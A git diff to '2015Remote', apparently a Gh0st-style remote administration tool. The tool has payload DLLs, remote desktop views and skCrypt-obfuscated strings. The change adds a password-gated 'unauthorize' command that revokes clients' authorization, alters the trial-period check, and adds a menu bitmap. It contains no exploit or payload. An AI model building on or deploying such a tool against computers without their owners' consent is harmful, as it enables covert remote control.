diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp index 6142bd1..9aaa64c 100644 --- a/client/LoginServer.cpp +++ b/client/LoginServer.cpp @@ -275,7 +275,7 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn) str = std::string(auth); str.erase(std::remove(str.begin(), str.end(), ' '), str.end()); auto list = StringToVector(str, '-', 3); - str = list[1]; + str = list[1].empty() ? "Unknown" : list[1]; } LoginInfor.AddReserved(str.c_str()); // ȨϢ bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 || diff --git a/client/domain_pool.h b/client/domain_pool.h index b794dc4..e5a5744 100644 --- a/client/domain_pool.h +++ b/client/domain_pool.h @@ -1,7 +1,7 @@ #pragma once #include #include -#include +#include std::string GetIPAddress(const char* hostName); diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 6cd8a32..35d3ad1 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 8a5d66a..9a8a57a 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -282,6 +282,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent): CDial m_bmOnline[8].LoadBitmap(IDB_BITMAP_DDESKTOP); m_bmOnline[9].LoadBitmap(IDB_BITMAP_SDESKTOP); m_bmOnline[10].LoadBitmap(IDB_BITMAP_AUTHORIZE); + m_bmOnline[11].LoadBitmap(IDB_BITMAP_UNAUTH); for (int i = 0; i < PAYLOAD_MAXTYPE; i++) { m_ServerDLL[i] = nullptr; @@ -389,6 +390,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_WHAT_IS_THIS, &CMy2015RemoteDlg::OnWhatIsThis) ON_COMMAND(ID_ONLINE_AUTHORIZE, &CMy2015RemoteDlg::OnOnlineAuthorize) ON_NOTIFY(NM_CLICK, IDC_ONLINE, &CMy2015RemoteDlg::OnListClick) + ON_COMMAND(ID_ONLINE_UNAUTHORIZE, &CMy2015RemoteDlg::OnOnlineUnauthorize) END_MESSAGE_MAP() @@ -1077,6 +1079,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult) Menu.SetMenuItemBitmaps(ID_ONLINE_REMOTE_DESKTOP, MF_BYCOMMAND, &m_bmOnline[8], &m_bmOnline[8]); Menu.SetMenuItemBitmaps(ID_ONLINE_H264_DESKTOP, MF_BYCOMMAND, &m_bmOnline[9], &m_bmOnline[9]); Menu.SetMenuItemBitmaps(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND, &m_bmOnline[10], &m_bmOnline[10]); + Menu.SetMenuItemBitmaps(ID_ONLINE_UNAUTHORIZE, MF_BYCOMMAND, &m_bmOnline[11], &m_bmOnline[11]); // 创建一个新的子菜单 CMenu newMenu; @@ -1109,6 +1112,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult) } else if (GetPwdHash() != std::string(skCrypt(MASTER_HASH))) { SubMenu->EnableMenuItem(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED); + SubMenu->EnableMenuItem(ID_ONLINE_UNAUTHORIZE, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED); } // 刷新菜单显示 @@ -1297,7 +1301,7 @@ bool CMy2015RemoteDlg::CheckValid() { #ifdef _DEBUG BOOL isTrail = verify.isTrail(0); #else - BOOL isTrail = verify.isTrail(14); + BOOL isTrail = verify.isTrail(-1); #endif if (!isTrail) { @@ -2931,3 +2935,25 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult) *pResult = 0; } + + +void CMy2015RemoteDlg::OnOnlineUnauthorize() +{ + if (m_superPass.empty()) { + CInputDialog pass(this); + pass.Init("需要密码", "当前主控程序的密码:"); + if (pass.DoModal() != IDOK || pass.m_str.IsEmpty()) + return; + std::string masterHash(skCrypt(MASTER_HASH)); + if (hashSHA256(pass.m_str.GetBuffer()) != masterHash) { + MessageBox("密码不正确!", "错误", MB_ICONWARNING); + return; + } + m_superPass = pass.m_str; + } + + BYTE bToken[32] = { CMD_AUTHORIZATION }; + int days = -1; + memcpy(bToken + 1, &days, sizeof(days)); + SendSelectedCommand(bToken, sizeof(bToken)); +} diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 22d80d3..798cd67 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -187,7 +187,7 @@ public: CRITICAL_SECTION m_cs; BOOL isClosed; CMenu m_MainMenu; - CBitmap m_bmOnline[11]; + CBitmap m_bmOnline[12]; bool CheckValid(); afx_msg void OnTimer(UINT_PTR nIDEvent); afx_msg void OnClose(); @@ -250,4 +250,5 @@ public: afx_msg void OnWhatIsThis(); afx_msg void OnOnlineAuthorize(); void OnListClick(NMHDR* pNMHDR, LRESULT* pResult); + afx_msg void OnOnlineUnauthorize(); }; diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index cdd6179..c03267b 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -382,6 +382,7 @@ + diff --git a/server/2015Remote/res/Bitmap/unauthorize.bmp b/server/2015Remote/res/Bitmap/unauthorize.bmp new file mode 100644 index 0000000..c779e54 Binary files /dev/null and b/server/2015Remote/res/Bitmap/unauthorize.bmp differ diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index dd16c73..97e301e 100644 Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ